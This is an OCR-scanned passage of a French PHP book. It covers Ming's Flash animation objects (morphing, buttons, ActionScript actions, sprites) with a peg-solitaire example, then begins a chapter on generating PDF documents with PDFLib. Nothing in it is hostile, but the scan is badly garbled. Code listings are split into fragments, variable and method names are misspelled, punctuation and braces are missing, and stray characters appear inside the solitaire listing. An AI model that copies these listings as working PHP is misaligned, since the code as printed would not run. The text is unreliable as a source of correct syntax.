II y a un type d'objet dont nous n'avons pas encore parle jusque-la. II s'agit de l'objet 
"morphing". Comme vous l'aurez compris, l'objet morphing permet de realiser des morphings : 
autrement dit, cela permet d'afficher une succession de dessins representant les etapes 
intermediaires d'une transition d'un dessin de depart a un dessin d'arrivee par modifications 
legeres. Cet objet s'instancie par un appel au constructeur swFMorph ( ) . 



SWFMorph 

Objet morphing. 

Syntaxe SWFMorph SWFMorph (void) 

Cet objet propose deux methodes : 

SWFMorph->getShapel() 

Retourne une reference sur la forme de depart du morphing afin de pouvoir la dessiner. 
Syntaxe SWFShape getShapel(void) 
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SWFMorph->getShape2() 

Retourne une reference sur la forme d'arrivee du morphing afin de pouvoir la dessiner. 

Syntaxe SWFShape getShape2(void) 

Le principe d'utilisation de cet objet est done de recuperer une reference sur l'objet de depart, 
puis d'utiliser cette reference pour creer l'objet de depart (par appel aux methodes proposees 
par l'objet SWFShape). Et faire ensuite de meme avec l'objet d'arrivee. 

L'objet SWFDisplayltem propose une methode dediee aux objets SWFMorph. II s'agit de la 
methode : 



SWFDisplayItem->setRatio () 

Determine (pour une vue donnee) quelle etape de la transformation doit etre affichee. 

Syntaxe void setRatio (double $etape) 

$etape Etape de transformation souhaitee. Cette valeur doit etre comprise entre 

et 1. Si elle est fixee a 0, alors e'est l'objet de depart qui est affiche. Si elle 
est fixee a 1, alors e'est l'objet d'arrivee qui est affiche. Pour toutes les 
valeurs intermediaires, e'est un objet de transition qui est affiche. Cet objet 
aura d'autant plus l'apparence de l'objet de depart que $etape est proche 
de 0, et il aura d'autant plus l'apparence de l'objet d'arrivee que $etape 
est proche de 1. 

L'algorithme de base d'une animation de type morphing aura done l'allure suivante : 

Listing 13.38 : ming morphOLphp 

<?php 

// Instanciation d'un objet 
// de morphing 

StraceMorph = new SWFMorph(); 

// Recuperation d'une reference 
// sur l'objet de depart 
// du morphing 

SformeDepart = $traceMorph->getShapel() ; 

// Trace de la forme de depart 

// par appel aux methodes 

// de 1 'objet SWFShape 

// ex: $formeDepart->drawLine(. . .) 
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Chapitre 1 3 Les images et les animations Flash 



// Recuperation d'une reference 
// sur 1 ' objet d'arrivee 
// du morphing 

$formeArrivee = $traceMorph->getShape2() ; 

// Trace de la forme d'arrivee 

// par appel aux methodes 

// de 1 'objet SWFShape 

// ex: $formeArrivee->drawLine(. . .) 

// Instanciation de 1 'animation 
// et definition de ses parametres 

$anim = new SWFMovieO; 

// Ajout de 1 'objet de morphing 
// et recuperation de 1 'objet 
// SWFDisplayltem associe 

$morph=$anim->add($traceMorph) ; 

// Creation des vues successives 
// contenant les differentes 
// phases du morphing 
// En faisant varier le parametre 
// de setRatio entre et 1 

$nbEtape=30; 

for ($i=0; $i<=$nbEtape; $i++) { 

$morph->setRatio($i/$nbEtape) ; 

$anim->nextFrame() ; 
} 

// Emission de 1 'animation 
// vers le client 



header ("Con tent- type: appl ication/x-shockwave-flash") ; 
$anim->output() ; 



?> 



II est fortement conseille d'avoir une forme d'arrivee qui contienne le meme nombre de 
segments que la forme de depart. Si la difference est trop grande, vous risquez tout bonnement 
un "crash" du navigateur. Cependant, meme en respectant cette regie, le resultat n'est pas 
parfait, puisque la forme obtenue avec setRatio (l) n'est pas exactement la forme d'arrivee 
desiree. 

Comme c'est le cas, dans l'exemple suivant : 
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Listing 13.39 : ming_morph02.php 

<?php 

// Creation d'un objet Morphing 

$morph = new SWFMorph(); 

// Recuperation d'une reference 
// sur 1 'objet de depart 

$formeDepart = $morph->getShapel() ; 
$formeDepart->setLine(l, 0, 0, 0); 

// Dessin de la forme de depart 

// ? inverse (16 segments) 
$formeDepart->movePenTo(-80, -30) ; 
$formeDepart->drawLine(10, 0); 
$formeDepart->drawLine(0, 10); 
$formeDepart->drawLine(-10, 0); 
$formeDepart->drawLine(0, -10); 
$formeDepart->movePenTo(-80, -10) ; 
$formeDepart->drawLine(10, 0); 
$formeDepart->drawLine(0, 10); 
$formeDepart->drawLine(-10, 10); 
$formeDepart->drawLine(0, 10); 
$formeDepart->drawLine(10, 0); 
$formeDepart->drawLine(0, -10); 
$formeDepart->drawLine(10, 0); 
$formeDepart->drawLine(0, 20); 
$formeDepart->drawLine(-30, 0); 
$formeDepart->drawLine(0, -20); 
$formeDepart->drawLine(10, -10); 
$formeDepart->drawLine(0, -10); 

// P (10 segments) 
$formeDepart->movePenTo(-50, -30) ; 
$formeDepart->drawLine(30, 0); 
$formeDepart->drawLine(0, 40); 
$formeDepart->drawLine(-20, 0); 
$formeDepart->drawLine(0, 20); 
$formeDepart->drawLine(-10, 0); 
$formeDepart->drawLine(0, -60); 
$formeDepart->movePenTo(-40, -20) ; 
$formeDepart->drawLine(10, 0); 
$formeDepart->drawLine(0, 20); 
$formeDepart->drawLine(-10, 0); 
$formeDepart->drawLine(0, -20); 

// H (12 segments) 
$formeDepart->movePenTo(-10, -30) ; 
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Chapitre 1 3 Les images et les animations Flash 



$formeDepart->drawLine(10, 0); 
$formeDepart->drawLine(0, 20); 
$formeDepart»drawLine(10, 0); 
$formeDepart->drawLine(0, -20); 
$formeDepart->drawLine(10, 0); 
$formeDepart->drawLine(0, 60); 
$formeDepart->drawLine(-10, 0) 
$formeDepart->drawLine(0, -20) 
$formeDepart->drawLine(-10, 0) 
$formeDepart»drawLine(0, 20); 
$formeDepart->drawLine(-10, 0) ; 
$formeDepart->drawLine(0, -60); 



// P (10 segments) 
$formeDepart->movePenTo(30, -30) ; 
$formeDepart->drawLine(30, 0); 
$formeDepart->drawLine(0, 40); 
$formeDepart->drawLine(-20, 0); 
$formeDepart->drawLine(0, 20); 
$formeDepart->drawLine(-10, 0); 
$formeDepart->drawLine(0, -60); 
$formeDepart->movePenTo(-40, -20) ; 
$formeDepart->drawLine(10, 0); 
$formeDepart->drawLine(0, 20); 
$formeDepart->drawLine(-10, 0); 
$formeDepart->drawLine(0, -20); 

// ? (16 segments) 
$formeDepart->movePenTo(80, 20); 
$formeDepart->drawLine(10, 0); 
$formeDepart->drawLine(0, 10); 
$formeDepart->drawLine(-10, 0); 
$formeDepart->drawLine(0, -10); 
$formeDepart->movePenTo(90, 10); 
$formeDepart->drawLine(-10, 0); 
$formeDepart->drawLine(0, -10); 
$formeDepart->drawLine(10, -10); 
$formeDepart->drawLine(0, -10); 
$formeDepart->drawLine(-10, 0); 
$formeDepart->drawLine(0, 10); 
$formeDepart->drawLine(-10, 0); 
$formeDepart->drawLine(0, -20); 
$formeDepart->drawLine(30, 0); 
$formeDepart->drawLine(0, 20); 
$formeDepart->drawLine(-10, 10); 
$formeDepart->drawLine(0, 10); 

$formeDepart->movePenTo(-50, 40) ; 
$formeDepart->drawLine(100, 0); 
$formeDepart->drawLine(0, 10); 
$formeDepart->drawLine(-100, 0); 
$formeDepart->drawl_ine(0, -10); 
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$formeArn'vee = $morph->getShape2() ; 
$formeArn'vee->setLine(l, 0, 0, 0) ; 



// F (10 segments 
$f ormeArri vee->movePe 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 

// A (12 segments) 
$f ormeArri vee->movePe 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->movePe 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 



nTo(-120, -30); 
ne(30, 0); 
ne(0, 10); 
ne(-20, 0); 
ne(0, 20); 
ne(10, 0); 
ne(0, 10); 
ne(-10, 0); 
ne(0, 20); 
ne(-10, 0); 
ne(0, -60); 



nTo(-80, -30); 
ne(30, 0); 
ne(0, 60); 
ne(-10, 0): 
ne(0, -20): 
ne(-10, 0): 
ne(0. 20); 
ne(-10, 0); 
ne(0, -60); 
nTo(-70, -20); 
ne(10. 0); 
ne(0, 20); 
ne(-10, 0); 
ne(0, -20); 



// C (8 segments) 

$formeArrivee->movePenTo(-40, -30) : 
$formeArrivee->drawLine(30, 0); 
$formeArrivee->drawLine(0, 10); 
$formeArrivee->drawLine(-20, 0) ; 
$formeArrivee->drawLine(0, 40); 
$formeArrivee->drawLine(20, 0); 
$formeArrivee->drawLine(0, 10); 
$formeArrivee->drawLine(-30, 0) ; 
$formeArrivee->drawLine(0, -60) ; 

// I (8 segments) 
$formeArrivee->movePenTo(0, -30) ; 
$formeArrivee->drawLine(10, 0); 
$formeArrivee->drawLine(0, 10); 
$formeArrivee->drawLine(-10, 0) ; 
$formeArrivee->drawLine(0, -10) ; 
$formeArrivee->movePenTo(0, -10) ; 
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$formeArrivee->drawLine(10, 0) 
$formeArrivee->drawLine(0, 10) 
$formeArnvee->drawLine(0, 10) 
$formeArrivee->drawLine(0, 20) 
$formeArnvee->drawLine(-10, 0) 
$formeArrivee->drawLine(0, -20) 
$formeArrivee->drawLine(0, -10) 
$formeArrivee->drawLine(0, -10) 



// L (6 segments) 
$formeArrivee->movePenTo(30, -30) ; 
$formeArrivee->drawLine(10, 0): 
$formeArrivee->drawLine(0, 50): 
$formeArrivee->drawLine(20, 0): 
$formeArrivee->drawLine(0, 10); 
$formeArrivee->drawLine(-30, 0); 
$formeArrivee->drawLine(0, -60); 

// E (12 segments) 
$formeArrivee->movePenTo(70, -30) ; 
$formeArrivee->drawLine(30, 0); 
$formeArrivee->drawLine(0, 10); 
$formeArrivee->drawLine(-20, 0); 
$formeArrivee->drawLine(0, 10); 
$formeArrivee->drawLine(10, 0); 
$formeArrivee->drawLine(0, 10); 
$formeArrivee->drawLine(-10, 0): 
$formeArrivee->drawLine(0, 20); 
$formeArrivee->drawLine(20, 0); 
$formeArrivee->drawLine(0, 10); 
$formeArnvee->drawLine(-30, 0); 
$formeArrivee->drawLine(0, -60); 

// ! (8 segments) 

$formeArrivee->movePenTo(110, -30) ; 
$formeArrivee->drawLine(10, 0); 
$formeArrivee->drawLine(0, 40); 
$formeArrivee->drawLine(-10, 0); 
$formeArrivee->drawLine(0, -40); 
$formeArrivee->movePenTo(110, 20) ; 
$formeArrivee->drawLine(10, 0); 
$formeArrivee->drawLine(0, 10); 
$formeArrivee->drawLine(-10, 0); 
$formeArrivee->drawLine(0, -10); 

$anim = new SWFMovie(); 
$anim->setDimension(400, 100); 
$anim->nextFrame() ; 

$vueMorph=$anim->add($morph) ; 
$vueMorph->moveTo(200, 50); 
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for ($1=0; $i<=20; $i++) { 

$vueMorph->setRatio($i/20) ; 
$anim->nextFrame() ; 



header ("Con tent -type: application/x-shockwave-flash") 
$anim->output() ; 



? 



!> 



Des animations interactives 

II est possible de rendre interactives ces animations en ajoutant des objets boutons. Les boutons 
sont des objets qui s'instancient par un appel au constructeur swFButton. 



SWFButton 

Objet bouton. 

Syntaxe SWFButton SWFButton (void) 

Cet objet propose deux methodes : l'une pour preciser l'aspect visuel du bouton, l'autre pour 
preciser les actions a declencher. SWFButton propose egalement une serie de methodes que 
Ton qualifiera de raccourcis. 

L'aspect visuel peut dependre de l'etat du bouton (enfonce ou non, survole par le curseur de la 
souris ou non). On distingue ainsi quatre etats, definis par les constantes : 

swfbuttojxmjp : l'etat par defaut, c'est-a-dire bouton non enfonce. 
swfbutton_over : bouton non enfonce, mais survole par le curseur de la souris. 
swfbutton_down : bouton enfonce. 

SWFBUTTON_HIT. 

Pour definir l'aspect visuel du bouton, on fera done appel (autant de fois que necessaire pour 
preciser la representation du bouton dans les differents etats) a la methode : 



SWFButton->addShape() 

Associe une forme a un ou plusieurs etats du bouton. 

Syntaxe void addShape(SWFShape $forme, int $etat)) 

$ f o rme Objet qui doit representer l'objet lorsqu'il est dans l'etat precise. 

$etat Un ou plusieurs des etats presentes precedemment. Pour preciser 

plusieurs etats, vous utiliserez l'operateur logique OU (ce qui donne par 
exemple SWFBUTTON_UP | SWFBUTTON_OVER). 
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Qui a donne naissance aux raccourcis : 

setUp ($forme) equivalant a addShape ($forme, SWFBUTTON_UP) ; 
setOver ($forme) equivalant a addShape ($forme, SWFBUTTON_OVER) ; 
setDown($forme) equivalant a addShape ($forme, SWFBUTTON_DOWN) ; 
setHit (Sforme) equivalant a addShape ($forme, SWFBUTTON_HIT) . 

Pour definir les actions associees a un bouton, nous ferons appel a la methode : 



SWFButton->addAction () 

Associe une action a un bouton. 

Syntaxe void addAction(SWFAction $action, int $evenement) 

$action Action a declencher. 

$evenement Une des valeurs suivantes (ou combinaison avec un OU logique) : 

SWFBUTT0N_M0USE0VER : cet evenement est declenche a l'instant ou le 
curseur de la souris entre dans l'objet (bouton non enfonce). 
SWFBUTT0N_M0USE0UT : cet evenement est declenche a l'instant ou le 
curseur de la souris sort de l'objet (bouton non enfonce). 
SWFBUTT0N_M0USED0WN cet evenement est declenche a l'instant ou le 
bouton de la souris est enfonce, alors que le curseur se situe au-dessus de 
l'objet. 

SWFBUTTON_MOUSEUP : cet evenement est declenche a l'instant ou le 
bouton de la souris est relache, alors que le curseur se situe au-dessus de 
l'objet. C'est generalement sur cet evenement que sont declenchees les 
actions. 

SWFBUTTON_DRAGOUT : cet evenement est declenche a l'instant ou le 
curseur de la souris quitte l'objet, alors que le bouton a ete enfonce dans 
l'objet et est maintenu enfonce lors du deplacement de l'objet. Autrement 
dit lors d'un cliquer-glisser hors de l'objet. 

SWFBUTTON_DRAGOVER : cet evenement est declenche a l'instant ou le 
curseur de la souris entre dans l'objet, alors que le bouton a ete enfonce 
dans l'objet et est maintenu enfonce lors du deplacement de l'objet. 
Autrement dit lors d'un cliquer-glisser hors puis dans l'objet. 
SWFBUTT0N_M0USEUP0UTSIDE : cet evenement est declenche a 
l'instant ou le bouton est relache en dehors de l'objet apres avoir ete 
enfonce dans l'objet et maintenu enfonce lors du deplacement de l'objet. 
Autrement dit a Tissue d'un cliquer-glisser hors de l'objet. 

La methode addiction ( ) possede un raccourci : 

setAction($action) equivalant a addAction($action, SWFBUTTON_MOUSEUP) . 

L'objet action s'instancie en appelant le constructeur swFAction ( ) . 
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SWFAction 

Instancie un objet Action. 

Syntaxe SWFAction SWFAction (string $script) 

$ s c r i pt Action script a executer. 



dfjfa Ressources Javascript 

%£/ Vous trouverez une liste de sites consacres a Flash (et a ['Action script) a I'adresse 

internet http://www.macromedia.com/fr/support/flash/tsldocuments/flash_websites.htm. 

Le document de reference Action script est disponible en anglais a I'adresse : 

http://www.macromedia.com/support/flash/action_scripts/. 

Les actions peuvent etre appliquees directement a l'objet animation (SWFMovie) lui-meme. 
Ainsi, une des premieres actions que vous serez sans doute amene a demander sera l'arret de 
l'animation (afin, par exemple, de ne pas derouler toute l'animation sans avoir au prealable 
clique sur un bouton). 

Cela se faisant simplement par : 

<?php 

// (...) creation de l'animation 

$anim->add(new SWFAction("stop() ;")) ; 
// (...) generation/affichage de 1 'animation 



? 



> 



/£\ Importance du point-virgule 

"**^ // est indispensable de terminer toutes les instructions, y compris la derniere, par un 

REMARQJE V oint-virgule. 

Nous verrons un exemple plus complet d'utilisation de lAction Script apres avoir vu les objets 
SWFSprite. 

Les sous-animations 

Afin de pouvoir gerer plus facilement les differents elements d'une animation, il est possible de 
creer des sous-animations. Ces sous-animations reprennent pour ainsi dire les proprietes d'une 
animation. Elles peuvent s'instancier par un appel au constructeur SWFSprite ( ) . 



SWFSprite 

Instancie un objet sous-animation. 
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Syntaxe SWFSprite SWFSpriteQ 

retour Objet SWFSprite. 

Et elles possedent les methodes suivantes : 

SWFSprite->add() 

Ajoute un objet a la sous-animation. 

Syntaxe SWFDisplayltem add(mixed $objet) 

$objet Objet a ajouter a la sous-animation. Ce peut etre un objet SWFText, 

SWFTextField, SWFShape, SWFMorph, SWFButton, SWFAction ou 
SWFSprite. 

retour Un objet SWFDisplayltem uniquement pour les objets graphiques. 
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SWFSprite->remove() 



Supprime un objet de la sous-animation. 

Syntaxe void remove(SWFDisplayItem $refObjet) 

$ ref Ob j et Reference de l'objet a supprimer tel que retournee par la methode add ( 



SWFSprite->nextFrame () 

Valide la vue courante et passe a la suivante. 

Syntaxe void nextFrame(void) 

On notera, cependant, qu'il n'est pas possible d'imposer des vitesses de defilement differentes 
d'une sous-animation a l'autre. 

Ces sous-animations se manipulent exactement comme n'importe quel autre objet. Elles 
s'ajoutent a 1'animation principale par appel a la methode add(), et retournent un objet 
SWFDisplayltem qui permet de les deplacer, agrandir, reduire, deformer, etc. 

Rappelons qu'il est possible de leur donner un nom grace a la methode setNameO de 
SWFDisplayltem. Ceci est particulierement utile lorsqu'il s'agit de faire reference a une 
sous-animation depuis un script "Action script". 
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Application : jeu du solitaire 

Voici, un exemple d'utilisation de l'Action Script faisant intervenir la notion de cliquer-deposer 
(drag and drop), les sous-animations (ici les pions) et quelques tests conditionnels. 

Listing 13.40 : mingsolitaire.php 

<?php 

$dessinTrou = new SWFShape(); 
$dessinTrou->setRightFill (0, 0, 0); 
$dessinTrou->movePenTo(-5, -5); 
$dessinTrou->drawLine(10, 0); 
$dessinTrou->drawLine(0, 10); 
$dessinTrou->drawLine(-10, 0); 
$dessinTrou->drawLine(0, -10); 

$spriteTrou = new SWFSprite(); 
$spri teTrou->add ($dessi nTrou) ; 
$spriteTrou->nextFrame() ; 

// Le Pi on sera blanc par defaut 
$dessinPion = new SWFShape(); 
$dessinPion->setRightFill (255, 255, 255); 
$dessinPion->movePenTo(-4, -4) ; 
$dessinPion->drawLine(8, 0); 
$dessinPion->drawLine(0, 8); 
$dessinPion->drawLine(-8, 0); 
$dessinPion->drawLine(0, -8); 

// Le Pion sera jaune lorsque le curseur de la souris 
// sera dessus 

$dessinPionSurvole = new SWFShape(); 

$dessinPionSurvole ->setRightFill (255, 255, 125); 

$dessinPionSurvole ->movePenTo(-4, -4); 

$dessinPionSurvole ->drawLine(8, 0); 

$dessinPionSurvole ->drawLine(0, 8); 

SdessinPionSurvole ->drawLine(-8, 0); 

$dessinPionSurvole ->drawLine(0, -8); 

// Le Pion sera rouge lorsque le bouton de la souris 
// sera enfonce 

$dessinPionEnfonce = new SWFShape(); 
$dessinPionEnfonce ->setRightFill (255, 0, 0); 
$dessinPionEnfonce ->movePenTo(-4, -4); 
$dessinPionEnfonce ->drawLine(8, 0); 
$dessinPionEnfonce ->drawLine(0, 8); 
SdessinPionEnfonce ->drawLine(-8, 0); 
$dessinPionEnfonce ->drawLine(0, -8); 

$boutonPion = new SWFButton(); 
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// Declaration des differents etats du pi on (bouton) 
$boutonPion->addShape($dessinPion, SWFBUTTON_UP | SWFBUTTON_HIT) ; 
$boutonPion->addShape($dessinPionSurvole, SWFBUTT0N_0VER) ; 
$boutonPion->addShape($dessinPionEnfonce, SWFBUTT0N_D0WN) ; 

// Declaration des differentes operations a realiser 
// selon les evenements 

// Si le bouton est enfonce, c'est que l'on est en train 
// de deplacer le pi on 

$boutonPion->addAction(new SWFAction("startDrag(tnis,0) ;") , 
SWFBUTT0N_M0USED0WN) ; 

// Si le bouton est relache, c'est que l'on est en train 
// deposer le pion 
$boutonPion->addAction( 
new SWFAction( 

// Arreter le deplacement du pion 
"stopDragO;". 

"deplacementValide = TRUE;". 
// Controler ou le pion a ete deplace 
// II doit s'agir d'un trou 

"if (this._droptarget.substr(l,4) != 'trou') {". 
" deplacementValide = FALSE;". 
"};"• 

// Recuperation des coordonnees initiales 
// du pion deplace 
chaine = \"\"+this;". 
tableau = chaine. split( '.') ;". 
pion = tableau[tableau.length-l] ;". 
pion = pion.substr(4) ;". 
tableau = pion.spl it('x') ;". 
pionx = parselnt(tableau[0]) ;". 
piony = parselnt(tableau[l]) ;". 
if (deplacementValide) {". 

trou = this._droptarget.substr(5) ;" . 
tableau = trou.spl it('x') ;". 
troux = parselnt(tableau[0]) ;". 
trouy = parselnt(tableau[l]) ;". 
// Le trou doit etre 2 case a gauche, droite, haut ou bas 
// du point de depart du pion 

if (((Math.abs(pionx-troux) != 2)&&". 
(Math.abs(piony-trouy) !=2)) ||". 
((Math.abs(pionx-troux)+Math.abs(piony-trouy))>2)) 
deplacementValide = FALSE;". 



if (deplacementValide) {". 

// Le pion doit sauter un autre pion 
"pi onsautex= (troux+pi onx) /2 ; " . 
"pi onsautey= (trouy+pi ony) /2 ; " . 
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'if (_levelO['pion'+pionsautex+'x'+pionsautey] . _v i s i b 1 e " 

1 != TRUE) {". 

1 deplacementValide = FALSE;". 



'if (deplacementValide) {". 

// Si c'est ok. Alors on affiche le nouveau pion 
// et on cache le pion deplace et le pion saute 
// Affichage du nouveau pion 
"_1 evel [ ' pi on ' +troux+ ' x ' +trouy] ._vi si bl e=TRUE; " . 
// Suppression du pion saute 
"_levelO['pion'+pionsautex+'x'+pionsautey] ._visible=FALSE;' 
// Suppression du pion deplace 
"this. visible=FALSE;". 



// Quoiqu'il arrive on remet le pion a sa place 

"this._x=12+pionx*12;". 

"this._y=12+piony*12;" 

), 

SWFBUTTON_MOUSEUP | SWFBUTTON_MOUSEUPOUTSIDE) ; 

$spritePion = new SWFSpriteO; 
$spritePion->add($boutonPion) ; 
$spritePion->nextFrame() ; 

$anim = new SWFMovie(); 
$anim->setDimension(150, 150); 
$anim->setBackground(125, 125, 255); 
$anim->setRate(l) ; 
$anim->add(new SWFAction("stop() ;")) ; 

$larg=3; 

// Positionne les trous en croix 
for ($x=0; $x<3*$larg; $x++) { 

for ($y=0; $y<3*$larg; $y++) { 
$tierx = floor($x/$larg) ; 
$tiery = floor($y/$larg) ; 
if ( (($tierx+$tiery)%2 == 1) 

|[(($tierx == 1) && ($tiery == 1))) { 
$trou[$x] [$y] = $anim->add($spriteTrou) ; 
$trou [$x] [$y] ->setName ( " trou" . $x . "x" . $y) ; 
$trou[$x] [$y]->moveTo(12+$x*12,12+$y*12); 









CO 


o> 




3 


1- 


3 


CD 
CO 


21 




o 


3' 


3 


o> 


CO 


IB 




CD 


-n 


CO 






Dl 


CD 


CO 










CD 




CO 



// Positionne tous les pions 
// a tous les endroits possibles 
for ($x=0; $x<3*$larg; $x++) { 
for ($y=0; $y<3*$larg; $y++) 
$tierx = floor($x/$larg) ; 
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$tiery = floor($y/$larg) ; 

if ( (($tierx+$tiery)%2 == 1) 

|[(($tierx == 1) && ($tiery == 1))) { 

$pion[$x] [$y] = $anim->add($spritePion) ; 

$pion[$x] [$y]->setName("pion".$x."x".$y) ; 

$pi on [$x] [$y] ->moveTo ( 12+$x*12 , 12+$y*12) ; 



// Masque le pi on du milieu 

$anim->add(new SWFAction("pion4x4._visible=FALSE;")) ; 

$anim->nextFrame() ; 

header ("Con tent- type: appl ication/x-shockwave-flash") ; 
$anim->output() ; 



?> 
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Figure 13.46 : 

Un solitaire en Flash 
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Chapitre 1 4 



La creation de 
documents PDF 



14.1 Installation 1139 

14.2 Creer la base d'un document PDF 1140 

14.3 Preciser les attributs (mots-cles) du document 1144 

14.4 Preciser les parametres de la page 1144 

14.5 Afflcher du texte 1146 

14.6 Dessiner des formes geometriques 1152 

14.7 Modifier les parametres du trace 1157 

14.8 Inclure une image 1163 

14.9 Ajouter des liens et des annotations 1166 

14.10 Ajouter des fichiers attaches et apergus (thumbnails) 1170 

14.11 Modifier le systeme de coordonnees 1171 

14.12 Lire, sauvegarder et restaurer les parametres courants 1173 

14.13 Creer un modele 1178 



Installation 



PHP permet de creer des documents PDF a la volee. II est ainsi possible de creer ce type de 
documents a partir d'informations recuperees d'un formulaire ou d'une base de donnees. 
Pour cela, nous disposons notamment de la bibliotheque PDFLib. 

PDFLib est gratuite sauf dans le cas d'un usage commercial. 

Cette bibliotheque est toujours en developpement et de nombreuses fonctions ont ete 
modifiees. Le peu de documentation disponible et les changements soudains dans le nom et les 
parametres des fonctions peuvent causer des problemes d'une version a 1'autre de PDFLib. 
Mais cela ne devrait pas vous empecher d'utiliser cette bibliotheque. 

14.1. Installation 

Sous Windows 

Avec l'archive du PHP Group 

Avec PHP 5, Vous devez copier le iichier php_pdf.dll disponible dans le paquetage PECL du 
PHP Group dans le repertoire des extensions PHP. Avec PHP 4, pas de soucis, la DLL fait deja 
parti de l'archive de PHP Group. 

Dans tous les cas, il vous faut ensuite modifier le fichier php.ini pour ajouter ou decommenter 
une ligne : 

extension=php_pdf .dl 1 



RENVOI 



y Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur 
V installation du paquetage PECL. 



Avec EasyPHP 

Le support de PDF est active par defaut avec EasyPHP. 

Sous Linux 

L'extension PDF n'est plus disponible avec les sources de la version 5 de PHP. 

Avec PHP4, vous devez, dans un premier temps, vous procurer la bibliotheque PDFLib 
disponible sur le site (en anglais) http://www.pdflib.com/ (il s'agit du fichier 
PDFlib-5. 0. 1 -Linux, tar.gz) . 

Apres avoir copie l'archive dans un repertoire quelconque (disons /usr/local/src/lib), vous devez 
la decompresses 

# gunzip PDF1 ib-5.0. 1-Linux. tar.gz 

# tar xvf PDFlib-5.0. 1-Linux. tar 

II vous est ensuite possible de lancer la compilation. 

# ./configure 
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# make 

# make install 

Vous disposez desormais d'une serie de fichiers libpdf* sous le repertoire /usr/local/lib. 
II vous suffit alors de recompiler PHP avec l'option — with-pdf lib=/usr/locai . 
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Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 
compilation de PHP. 



Les polices d'ecriture 

Pour utiliser une police d'ecriture, celle-ci devra etre disponible et declaree dans un fichier 
pdflib.upr. 

Quelques polices d'ecriture et un fichier pdflib.upr sont fournis avec la bibliotheque (sous le 
repertoire fonts). Vous pouvez copier ce repertoire dans un endroit quelconque (Jusr/local/fonts 
par exemple). Pour utiliser les polices fournies, vous devrez modifier le fichier pfdlib.upr en 
decommentant et modifiant le chemin precise pour les polices. Ce qui, dans notre cas, 
donnerait (le slash devant le chemin est important) : 

//usr/local/fonts 

Si vous disposez d'autres polices d'ecriture, vous devrez completer ce fichier en consequence. 

Le chemin vers ce fichier doit etre declare dans une variable d'environnement 

PDFLIBRESOURCE. 

Idealement, cette variable devra etre definie dans le compte sous lequel le serveur tourne. II est 
toutefois possible de la declarer au niveau des scripts PHP. 

putEnv("PDFLIBRESOURCE=/chemin_vers_pdflib_url/pdflib.url"); 

Verification 

Pour verifier l'activation du support de PDFLib, appelez l'habituel script contenant <?php 
phpinf o ( ) ; ?>. Celui-ci doit afficher : 





pdf 






PDF Support 


enabled 




PDFlib GmbH Version 


4.0.3 


Revision 


^Revision: 1.106$ 











Figure 14.1 : phpinf o() 

14.2. Creer la base d'un document PDF 

La creation d'un document PDF passe par un certain nombre d'etapes obligatoires. 

II faut tout d'abord creer un "objet" (il ne s'agit toutefois pas d'un veritable objet, mais plutot 
d'une ressource) grace a la fonction pdf _new { ) . Les ressources ainsi allouees devront, au final, 
etre liberees par un appel a la fonction pdf_delete ( ) . 
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pdf_new() 

Cree un nouvel objet PDF en lui allouant la memoire necessaire. 

Syntaxe resource pdf_new(void) 

retour Un identifiant d'objet PDF. 

pdf_delete() 

Libere les ressources allouees pour un objet PDF. 

Syntaxe boolean pdf_delete(resource $objetPDF) 

$objetPDF Identifiant tel que retourne par pdf_new ( ) . 

retour TRUE. 

Une fois un objet PDF cree, vous devrez creer un document PDF. Pour cela, vous disposez de 
la fonction pdf_open_f ile ( ) qui vous permettra de creer, au choix, un fichier ou le document 
en memoire. Le document ainsi genere devra etre valide par un appel a pdf_open_ciose ( ) . 



pdf_open_file() 

Ouvre un nouveau document PDF (sous forme de fichier ou en memoire). 

Syntaxe boolean pdf_open_file (resource $objetPDF , string $nomFichier) 

$objetPDF Identifiant tel que retourne par pdf_new( ) . 

$nomFichier Nom et chemin absolu du fichier a creer. Si cet attribut est une chaine vide, 

alors le document sera juste cree en memoire. Avec PHP4, ce parametre 
etait tout simplement optionnel. 

retour TRUE. 
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pdf_close() 



Ferme le document PDF. 

Syntaxe boolean pdf_close(resource $objetPDF) 

$objetPDF Identifiant tel que retourne par pdf_new ( ) 

retour TRUE. 
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Si vous avez opte pour un document cree en memoire, vous devrez obligatoirement faire appel 
a la fonction pdf _get_buf f er ( ) apres 1'appel a pdf _close ( ) , et avant celui a pdf_delete ( ) . 



pdf_get_buffer() 
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Permet de recuperer le contenu de la memoire d'un objet PDF quand celui-ci n'a pas ete 
sauvegarde dans un fichier. 

Syntaxe string pdf_get_buffer (resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

r e t o u r Le fichier PDF dans une chaine de caracteres. 

Et, enfin, chaque document doit necessairement contenir au moins une page. L'ajout et la 
creation d'une page debute par un appel a pdf_begin_page ( ) et se termine par un appel a 

pdf_end_page ( ) . 



pdf_begin_page() 

Creer une nouvelle page. 

Syntaxe boolean pdf_begin_page (resource $objetPDF, double $largeur, 

double $hauteur) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$largeur Largeur en points. 

$hauteur Hauteur en points. 

retour TRUE. 

Voici un tableau de correspondances en points des formats les plus courants : 

Tableau 14.1 : Les tallies en points des formats courants de papier 
Format Taille en points 

AO (84x1 18,8 cm) 2380x3368 

A1 (59,4 x 84 cm) 1684x2380 

A2 (42 x 59,4 cm) 1190x1684 



A3 (29,7x42 cm) 


842x1190 


A4 (21 x 29,7 cm) 


595 x 842 


A5 (14,85x21 cm) 


421x595 


A6 (10,5x14.85 cm) 


297x421 
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Format 


Taille en points 


B5 (17.67x25 cm) 


501x709 


Letter (8.5" x 11") 


612x792 


Legal (8.5" x 14") 


612x1008 


Ledger (17" x 11") 


1224x792 



pdf_end_page() 

Termine la page courante. 

Syntaxe boolean pdf_end_page (resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

